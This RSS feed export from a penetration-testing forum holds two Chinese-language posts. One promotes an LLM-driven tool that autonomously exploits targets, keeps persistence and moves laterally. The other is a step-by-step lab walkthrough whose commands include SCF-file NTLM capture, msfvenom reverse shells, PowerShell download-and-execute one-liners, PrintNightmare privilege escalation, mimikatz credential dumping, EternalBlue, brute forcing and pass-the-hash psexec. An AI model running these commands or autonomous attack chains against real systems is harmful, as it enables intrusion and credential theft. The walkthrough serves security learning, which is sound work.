<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									Pen Testing - ITProSec Resources Forum				            </title>
            <link>https://itprosec.com/community/pen-testing/</link>
            <description>ITProSec Resources Discussion Board</description>
            <language>en-US</language>
            <lastBuildDate>Wed, 03 Jun 2026 22:58:32 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>AutoPentestAI：MoE 架构 + 100+ 工具，AI 自动执行完整渗透测试</title>
                        <link>https://itprosec.com/community/pen-testing/autopentestai%ef%bc%9amoe-%e6%9e%b6%e6%9e%84-100-%e5%b7%a5%e5%85%b7%ef%bc%8cai-%e8%87%aa%e5%8a%a8%e6%89%a7%e8%a1%8c%e5%ae%8c%e6%95%b4%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/</link>
                        <pubDate>Sat, 23 May 2026 19:56:07 +0000</pubDate>
                        <description><![CDATA[项目/工具简介
  AutoPentestAI 是一款由大语言模型（LLM）驱动的自动化渗透测试框架，结合 RAG、ReAct 与 100+ 安全工具，按照标准杀伤链自动执行渗透测试任务。
&#x1f680; 一句话优势
  AI 自主规划并执行渗透测试流程，让繁琐的扫描和探测任务自动化。
&#x1f4cb; 核心能力速览





功能


说明
...]]></description>
                        <content:encoded><![CDATA[<h2><span>项目/工具简介</span></h2>
<p><span>  <span class="">AutoPentestAI</span> 是一款由大语言模型（LLM）驱动的自动化渗透测试框架，结合 <span class="">RAG</span>、ReAct 与 </span><strong><span>100+ 安全工具</span></strong><span>，按照标准杀伤链自动执行渗透测试任务。</span></p>
<h2><span>&#x1f680; 一句话优势</span></h2>
<p><span>  AI 自主规划并执行渗透测试流程，</span><strong><span>让繁琐的扫描和探测任务自动化</span></strong><span>。</span></p>
<h2><span>&#x1f4cb; 核心能力速览</span></h2>
<section>
<table>
<thead>
<tr>
<th>
<section><span>功能</span></section>
</th>
<th>
<section><span>说明</span></section>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<section><span>AI 驱动决策引擎</span></section>
</td>
<td>
<section><span>基于 ReAct 范式，自主规划下一步行动</span></section>
</td>
</tr>
<tr>
<td>
<section><span>双模型并行</span></section>
</td>
<td>
<section><span>云端 AI + 本地 AI 协同工作</span></section>
</td>
</tr>
<tr>
<td>
<section><span>100+ 工具集成</span></section>
</td>
<td>
<section><span>Nmap、SQLMap、Nuclei、Metasploit 等通过 YAML 管理</span></section>
</td>
</tr>
<tr>
<td>
<section><span>知识库 RAG</span></section>
</td>
<td>
<section><span>内置 MITRE ATT&amp;CK、OWASP、CVE 等知识库</span></section>
</td>
</tr>
<tr>
<td>
<section><span>自动化报告</span></section>
</td>
<td>
<section><span>测试结束后自动生成 HTML 渗透测试报告</span></section>
</td>
</tr>
</tbody>
</table>
</section>
<h2><span>&#x2728; 核心亮点</span></h2>
<section><span> </span></section>
<h3><span>1. MoE 混合专家模型架构<br /></span></h3>
<p><span>  AutoPentestAI 采用 </span><strong><span>MoE（混合专家模型）</span></strong><span> 架构，让 AI 能够根据目标环境的实时变化</span><strong><span>自主切换角色</span></strong><span>。面对 Web 应用时切换为 Web 安全专家，面对内网环境时切换为内网渗透专家，每个角色调用对应的工具链和知识库。这种架构避免了单一角色在复杂渗透测试中的局限性，让 Agent 的决策更加灵活和准确。</span></p>
<h3><span>2. 自我学习与进化能力<br /></span></h3>
<p><span>  项目具备</span><strong><span>互联网搜索能力</span></strong><span>，当遇到未知漏洞时，AI 会自动搜索最新 CVE 详情与 Exploit，并将其</span><strong><span>沉淀到本地知识库</span></strong><span>中。下次遇到相同或相似的漏洞时，Agent 可以直接从本地知识库检索解决方案，无需重复搜索。这种机制让框架在持续使用中不断进化，覆盖的漏洞类型和攻击手法越来越多，</span><strong><span>越用越强</span></strong><span>。</span></p>
<h3><span>3. 基于 Kali Linux 的 CLI 运行模式<br /></span></h3>
<p><span>  项目基于 <span class="">Kali Linux</span> 系统运行，通过 CLI 命令行调用系统原生的 </span><strong><span>100+ 安全工具</span></strong><span>（Nmap、SQLMap、Nuclei、Metasploit、Hydra 等）。这种设计彻底解决了传统自动化框架中 </span><strong><span>工具调用失败</span></strong><span> 的问题——所有工具都预装在 Kali 系统中，无需额外配置工具路径。工具的调用参数通过 YAML 配置文件灵活管理，<span class="">AI Agent</span> 可以无障碍地组合调用这些工具，实现从信息收集到横向移动的完整攻击链。</span></p>
<h2><span>&#x1f6e0;&#xfe0f; 技术优势</span></h2>
<section>
<table>
<thead>
<tr>
<th>
<section><span>技术/特性</span></section>
</th>
<th>
<section><span>说明</span></section>
</th>
<th>
<section><span>优势</span></section>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<section><span>Python + FastAPI</span></section>
</td>
<td>
<section><span>后端 API 服务，支持 Web UI 实时交互</span></section>
</td>
<td>
<section><span>高性能同步/异步支持，开发效率高</span></section>
</td>
</tr>
<tr>
<td>
<section><span>ChromaDB 向量库</span></section>
</td>
<td>
<section><span>存储渗透测试知识库文档</span></section>
</td>
<td>
<section><span>RAG 检索增强，AI 决策更专业</span></section>
</td>
</tr>
<tr>
<td>
<section><span>ReAct 决策范式</span></section>
</td>
<td>
<section><span>推理 + 行动循环，自主规划下一步</span></section>
</td>
<td>
<section><span>适应复杂多变的渗透测试场景</span></section>
</td>
</tr>
<tr>
<td>
<section><span>YAML 工具管理</span></section>
</td>
<td>
<section><span>100+ 安全工具通过配置灵活管理</span></section>
</td>
<td>
<section><span>新增工具无需修改代码，热加载生效</span></section>
</td>
</tr>
<tr>
<td>
<section><span>Docker 部署</span></section>
</td>
<td>
<section><span>支持 Docker 容器运行，隔离环境</span></section>
</td>
<td>
<section><span>快速部署，避免依赖冲突</span></section>
</td>
</tr>
</tbody>
</table>
</section>
<h2><span>&#x1f4d6; 使用指南</span></h2>
<p><span>① </span><strong><span>准备工作</span></strong><span> 推荐在 </span><strong><span>Kali Linux</span></strong><span> 系统上运行。克隆项目后执行 </span><code><span>python -m venv venv &amp;&amp; source venv/bin/activate &amp;&amp; pip install -r requirements.txt</span></code><span> 安装依赖。复制 </span><code><span>.env.example</span></code><span> 为 </span><code><span>.env</span></code><span>，编辑文件填入你的 LLM API Key（</span><strong><span>DeepSeek</span></strong><span> 或 OpenAI），例如 </span><code><span>AI_PROVIDER=deepseek</span></code><span>、</span><code><span>DEEPSEEK_API_KEY=sk-xxxx</span></code><span> 和 </span><code><span>AI_MODEL=deepseek-reasoner</span></code><span>。确保系统已安装 Nmap、SQLMap 等常用安全工具。</span></p>
<p><span>② </span><strong><span>核心操作</span></strong><span> 执行 </span><code><span>python src/</span></code></p>
<div class="rfBrowextIocHighlightLink "><span class="rfBrowextIocHighlightLink__title">main.py</span></div>
<p><code><span></span></code><span> 启动后端 API 服务，或使用 </span><code><span>./run-Kali专用启动脚本.sh</span></code><span> 一键启动。服务启动后，打开浏览器访问 </span><code><span>http://localhost:8000/web/index.html</span></code><span> 进入 Web UI 界面。在界面中输入 </span><strong><span>目标 URL 或 IP</span></strong><span>，AI Agent 会自动按照渗透测试杀伤链开始执行任务：信息收集 → 漏洞探测 → 漏洞利用 → 权限维持 → 横向移动。你可以在 Web UI 上实时查看任务进度和每个工具的执行输出。</span></p>
<p><span>③ </span><strong><span>结果查看</span></strong><span> AI 在测试过程中会自动截取关键证据（如后台登录页、Webshell），并保存截图。测试结束后，系统自动生成详细的 </span><strong><span>HTML 渗透测试报告</span></strong><span>，包含发现的漏洞详情、证据截图和修复建议。报告可在 Web UI 的“报告”页面中查看和下载。如果想了解工具的详细调用参数，可阅读 </span><code><span>config/tool_</span></code></p>
<div class="rfBrowextIocHighlightLink "><span class="rfBrowextIocHighlightLink__title">instructions.md</span></div>
<p><code><span></span></code><span> 文件。</span></p>
<p>&nbsp;</p>
<p>&#x1f4d6; 项目地址<br /><br />https://github.com/hoututu123456/autopent</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/autopentestai%ef%bc%9amoe-%e6%9e%b6%e6%9e%84-100-%e5%b7%a5%e5%85%b7%ef%bc%8cai-%e8%87%aa%e5%8a%a8%e6%89%a7%e8%a1%8c%e5%ae%8c%e6%95%b4%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/</guid>
                    </item>
				                    <item>
                        <title>网络安全之渗透实战学习</title>
                        <link>https://itprosec.com/community/pen-testing/%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e4%b9%8b%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98%e5%ad%a6%e4%b9%a0/</link>
                        <pubDate>Sat, 30 Oct 2021 13:40:21 +0000</pubDate>
                        <description><![CDATA[前言
本次渗透以SMB共享之SCF文件攻击为突破点，利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。
本次渗透过程从技...]]></description>
                        <content:encoded><![CDATA[<h1>前言</h1>
<p>本次渗透以SMB共享之SCF文件攻击为突破点，利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。</p>
<p>本次渗透过程从技术层面来说难度并不算很大，本文精华在于渗透过程中运用到了多个知识点，并对多种利用SMB攻击的方法作了总结，下面开始此次渗透实战之旅。</p>
<h2><a name="t1"></a><a id="_5"></a>信息收集</h2>
<p>首先进行基本的端口扫描；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/bcd84d39664e1d55270614d1f4ff2cbd.png" alt="image.png" /></p>
<p>看到445端口，想到了smb的多种利用方法；看到5985，想到了可能要利用evil-winrm；然后在重点照顾下445端口；</p>
<p><code>nmap -A --script smb-vuln* -p 445 10.10.11.106</code></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/67bf9130d7885c797be1a0a486960c49.png" alt="image.png" /></p>
<p>并没有发现直接的突破口，那我们还是从web入手。</p>
<h2><a name="t2"></a><a id="smb_21"></a>smb匿名登录</h2>
<p>尝试一波smb匿名登录，看是否存在共享文件，可以作为突破的线索；</p>
<p>常用命令总结如下：</p>
<p>smbmap -H 10.10.11.106<br />smbclient -N -L //10.10.11.106<br />enum4linux -a 10.10.11.106</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/60963e402c772c0e260b76a26b0b535b.png" alt="image.png" /></p>
<p>暂时没有发现。</p>
<blockquote>
<p>为了感谢广大读者伙伴的支持，准备了以下福利给到大家：<br /><strong><a href="https://shimo.im/docs/C9WxVrD6V3tGcjgQ/">【一&gt;所有资源获取&lt;一】</a></strong><br />1、200多本网络安全系列电子书（该有的都有了）<br />2、全套工具包（最全中文版，想用哪个用哪个）<br />3、100份src源码技术文档（项目学习不停，实践得真知）<br />4、网络安全基础入门、Linux、web安全、攻防方面的视频（2021最新版）<br />5、网络安全学习路线（告别不入流的学习）<br />6、ctf夺旗赛解析（题目解析实战操作）</p>
</blockquote>
<h2><a name="t3"></a><a id="burp_44"></a>burp编码爆破</h2>
<p>打开网页，弹出Basic Authorization认证</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/a544c2fc0785ebf0346f28c61c61b534.png" alt="image.png" /></p>
<p>抓包进行爆破；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/e770bfd0ee8ebfddc6e2d1983e939f66.png" alt="image.png" /></p>
<p>划红线的地方要设置3次，分别为：1、admin  2、：  3、 密码</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/f7488512c5203043d4e9f47f19fcdbdd.png" alt="image.png" /></p>
<p>用个弱口令字典，跑出结果了；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/f47c6d363d8277055d0bc3bc8244c854.png" alt="image.png" /></p>
<p>admin:admin</p>
<h2><a name="t4"></a><a id="SMBSCF_68"></a>SMB共享之SCF文件攻击</h2>
<p>登录后台，发现一个可上传文件的地方；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/62b144a368549433688d38f3c37c8a73.png" alt="image.png" /></p>
<p>经过多次尝试，这里可利用SCF文件攻击进行渗透，下面介绍3种利用方法：</p>
<h3><a name="t5"></a><a id="_NTLM__SMB__77"></a>通过 NTLM 捕获进行 SMB 攻击</h3>
<p>基本原理：SCF（Shell 命令文件）文件可用于执行一组有限的操作，一个 SCF 文件可以用来访问一个特定的 UNC 路径，允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件，然后需要被植入到网络共享。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">Command=2
IconFile=\\10.10.16.4\share\hack.ico

Command=ToggleDesktop
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<p>将hack.txt文件保存为SCF文件，在文件名前面添加@符号可以将hack.scf放在共享驱动器文件列表的顶部。（@hack.scf）并设置接收方法；</p>
<p>Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。</p>
<p><code>responder -wrf -I tun0</code></p>
<p>当用户浏览共享时，将自动会从系统建立网络连接，连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中，随机的8字节质询密钥会从服务器发送到客户端，散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/7036935bac3476caae5c374f3f067b4a.png" alt="image.png" /></p>
<p>除了Responder，MSF也有一个模块，可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。</p>
<p><code>auxiliary/server/capture/smb</code></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/1b85a308605180f3cb5f18c8daf605b0.png" alt="image.png" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/f5cdb6742ff446a5fd1473f406c8722e.png" alt="image.png" /></p>
<p>上传之前的hack.scf来触发，就获取到了用户的NTLM值。</p>
<h3><a name="t6"></a><a id="shell_108"></a>直接获取shell</h3>
<p>利用MSF框架实现攻击。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.4
set smbhost 192.168.0.100
set srvport 8080
exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
<li>6</li>
</ul>
<p><img src="https://img-blog.csdnimg.cn/img_convert/af9a875d80a191a6ab2c37a26c923de6.png" alt="image.png" /></p>
<p>上传之前的hack.scf来触发，但本次渗透中该方法实测失败了。</p>
<h3><a name="t7"></a><a id="payloadshell_125"></a>上传payload获取shell</h3>
<p>本方法的主要优点是它不需要与用户有任何交互，并自动强制用户连接到共享，在这个过程中不存在NTLMv2哈希的协商过程。因此，也可以将此技术与SMB中继相结合，SMB中继将提供有效载荷，可以从访问该共享的每个用户检索Meterpreter Shell。</p>
<p>MSFVenom可用于生成将在目标上执行的有效载荷：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe &gt; hack.exe
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>利用Impacket中的smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行，因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。</p>
<p><code>./smbrelayx.py -h Target-IP -e ./hack.exe</code></p>
<p>同时利用MSF设置木马的回连端：</p>
<p><code>exploit/multi/handler</code></p>
<p>模块需要配置与生成的有效载荷相同的参数。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<p>当用户浏览共享时，SMB服务器将接收到连接，并且将使用用户名和密码散列来与他的系统进行认证，并将有效载荷执行为可写共享。本次渗透中该方法实测失败。</p>
<p>获取到NTLM值后，下一步尝试破解。</p>
<h2><a name="t8"></a><a id="LM_NTLM_NETNTLM2_154"></a>LM NTLM NET-NTLM2破解</h2>
<p>Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM Hash，第二部分是NT Hash<br />LM</p>
<p>Windows Vista / Server 2008已经默认关闭，在老版本可以遇到，但根据windwos的向下兼容性，可以通过组策略启用它<br />示例：299BD128C1101FD6<br />hash破解：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
</ul>
<p>NThash</p>
<p>NTLM是现在Windows系统上存储密码的方式，可以通过转储SAM数据库或使用Mimikatz来获得。<br />示例：B4B9B02E6F09A9BD760F388B67351E2B<br />hash破解：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
</ul>
<p>NTLMV1<br />NTLM协议在服务器和客户端之间的质询/响应中使用NTHash,协议的v1同时使用NT和LM哈希，具体取决于配置和可用内容。<br />示例：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>hash破解：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
</ul>
<p>NTLMV2<br />这是NTLM协议的新版本和改进版本，这使其很难破解。该概念与NTLMv1相同，只是发送到服务器的算法和响应不同,从Windows 2000开始，在Windows中为默认值。<br />示例：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>hash破解：</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
</ul>
<p>在本次渗透中用的是NTLMV2；</p>
<p><code>hashcat -m 5600 -a 3 123.txt --wordlist top100.txt</code></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/6b3be122a67f0b9063531dc1bfa5fd7e.png" alt="image.png" /></p>
<p>john --format=netntlmv2 123.txt -w=top100.txt</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/2c6ee5f6ac31250cc2dc69b33e8a0afb.png" alt="image.png" /></p>
<p>成功得到用户名和密码：tony:liltony</p>
<p>根据开放的445和5985端口，连接一波；</p>
<p>尝试psexec连接失败；</p>
<p></p>
<p><code>evil-winrm -i 10.10.11.106 -u tony -p liltony</code></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/35980e095da534dd0ca154150cddcfaf.png" alt="image.png" /></p>
<p>连接成功，下面就要开始想办法进行提权。</p>
<h2><a name="t9"></a><a id="smb_235"></a>smb带用户名密码登录</h2>
<p>利用得到的用户名和密码，再次尝试登录smb共享；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/b0e2722e91367650aa237e73f494efdd.png" alt="image.png" /></p>
<p></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/377acd4bb7ba7f4faba59f96dc72b0b1.png" alt="image" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/ed45537b136d889d704c02a159db44fb.png" alt="image.png" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/84ee9e91625bcbf6cb54797c9c09a286.png" alt="image.png" /></p>
<h2><a name="t10"></a><a id="_250"></a>提权</h2>
<h3><a name="t11"></a><a id="_252"></a>主机信息收集</h3>
<p>尝试使用命令，结果没有权限执行；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/22bb38f21739e1dc96faaa992e0d8212.png" alt="image.png" /></p>
<p>那就用脚本来跑，常用的是winPEASx64.exe或者winPEAS.bat，这里有个小坑，程序运行时要加反斜杠；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/c2216d3feae7c4a911c7591b79ebe150.png" alt="image.png" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/648c70dca16b7eee2882913afb67d9f6.png" alt="image.png" /></p>
<p>结果很多，最后发现print spooler service 服务；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/051bf9add568b9315f8ac5a7d6bf776c.png" alt="image.png" /></p>
<p>利用最近的WINDOWS PRINT SPOOLER远程代码执行漏洞（CVE-2021-1675）来提权。</p>
<p><code>https://github.com/calebstewart/CVE-2021-1675</code></p>
<p>测试发现直接导入powershell脚本会报错；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/e1871cd1a444063289c517e1f233d6ec.png" alt="" /></p>
<p>下面分别采用2种方法；</p>
<h3><a name="t12"></a><a id="msfpowershell_283"></a>msf加载powershell</h3>
<p>生成个木马</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe &gt; hack.exe
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>接收反弹；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/312eb5283b3b1c0baacf695e0a655435.png" alt="image.png" /></p>
<p>利用evil-winrm上传hack.exe，运行；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/e8bfaf6330215ce2c47b20154c041fd5.png" alt="image.png" /></p>
<p>程序会报错且会话中断，迁移下进程，再次尝试；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/91bfab26df8313ba4de0057593741acb.png" alt="image.png" /></p>
<p>需要事先上传ps1脚本到主机对应的位置，否则找不到脚本；!<img src="https://img-blog.csdnimg.cn/img_convert/bbbef7794f1cf302837201caa829af03.png" alt="image.png" /></p>
<p>这次就成功执行了脚本，添加了一个新的用户且有administrator权限。还可以尝试一波远程运行ps脚本。</p>
<h3><a name="t13"></a><a id="powershell_310"></a>远程运行powershell脚本</h3>
<p>远程下载文件到本地并执行</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>远程执行ps1脚本</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>自己搭建个http服务器</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/63d8e77d0dae5109cea3aa62786719e0.png" alt="image.png" /></p>
<p>远程运行ps脚本；</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
</ul>
<p><img src="https://img-blog.csdnimg.cn/img_convert/c5a0efaf3a8df4e6d53599690790e639.png" alt="image.png" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/fcbe7052f4c884019747608976e127ea.png" alt="image.png" /></p>
<p>抓取密码试试；</p>
<p><code>./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit</code></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/ecc7ffb2d0465e242d2807e352d17b23.png" alt="image.png" /></p>
<p>至此，成功拿下了该主机，下面彩蛋环节，总结下其他几种smb常见的攻击方法。</p>
<h2><a name="t14"></a><a id="smb_349"></a>smb攻击方式</h2>
<p>Windows SMB 的版本<br />CIFS：SMB 的旧版本，于 1996 年包含在 Microsoft Windows NT 4.0 中。</p>
<p>SMB 1.0 / SMB1：在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。</p>
<p>SMB 2.0 / SMB2：此版本用于 Windows Vista 和 Windows Server 2008。</p>
<p>SMB 2.1 / SMB2.1：此版本用于 Windows 7 和 Windows Server 2008 R2。</p>
<p>SMB 3.0 / SMB3：此版本用于 Windows 8 和 Windows Server 2012。</p>
<p>SMB 3.02 / SMB3：此版本用于 Windows 8.1 和 Windows Server 2012 R2。</p>
<p>SMB 3.1：此版本用于 Windows Server 2016 和 Windows 10。</p>
<p>目前，SMB 的最新版本是 SMB 3.1.1，它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外，还支持 AES 128 GCM 加密，并使用SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时，SMB 3.1.1 还强制要求进行安全协商。</p>
<h3><a name="t15"></a><a id="_368"></a>永恒之蓝</h3>
<p>我们运行以下MSF模块，该模块将直接利用目标机器。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) &gt; set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) &gt; exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
</ul>
<h3><a name="t16"></a><a id="_377"></a>暴力破解</h3>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --&gt; 表示用户名列表
-P --&gt; 表示密码
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
</ul>
<p>如果破解成功，就可以枚举系统上的用户；</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) &gt; set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) &gt; set smbuser raj
msf auxiliary(smb_enumusers) &gt; set smbpass 123
msf auxiliary(smb_enumusers) &gt; exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
</ul>
<p>实测一下；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/615c65baad2fc7348cb770eed765f8de.png" alt="image.png" /></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/48a7b046015507810f6f5bcde1981890.png" alt="image.png" /></p>
<h3><a name="t17"></a><a id="PSexec_SMB_403"></a>PSexec 连接SMB</h3>
<p>可以用msf里的模块；</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) &gt; set rhost 192.168.1.101
msf exploit(windows/smb/psexec) &gt; set smbuser raj
msf exploit(windows/smb/psexec) &gt; set smbpass 123
msf exploit(windows/smb/psexec) &gt; exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
</ul>
<p>因为本次渗透无法成功，补了之前的一张图；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/b4fad0b56766b9ce257d1b065796ec1a.png" alt="image.png" /></p>
<p>还可以用Impacket中的psexec.py<br />#用明文密码连接</p>
<p><code>./psexec.py xie/administrator:密码@192.168.10.131</code></p>
<p>#用哈希值连接</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC
</code></pre>
<ul class="pre-numbering">
<li>1</li>
</ul>
<p>还可以直接用psexec.exe程序；</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/ae4f5ab67832179327ded25faceb0378.png" alt="image.png" /></p>
<h3><a name="t18"></a><a id="Rundll32_Oneliner_435"></a>Rundll32 One-liner</h3>
<p>通过Metasploit的SMB Delivery启动Rundll32攻击</p>
<p>Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload，并提供检索和执行生成payload的命令。目前支持DLL和Powershell。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) &gt; set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) &gt; exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
</ul>
<p>这将生成恶意 DLL 文件的链接，现在将此链接发送到你的目标并等待他的操作。</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/0b6f9baf211960ba00288484f960bcba.png" alt="image.png" /></p>
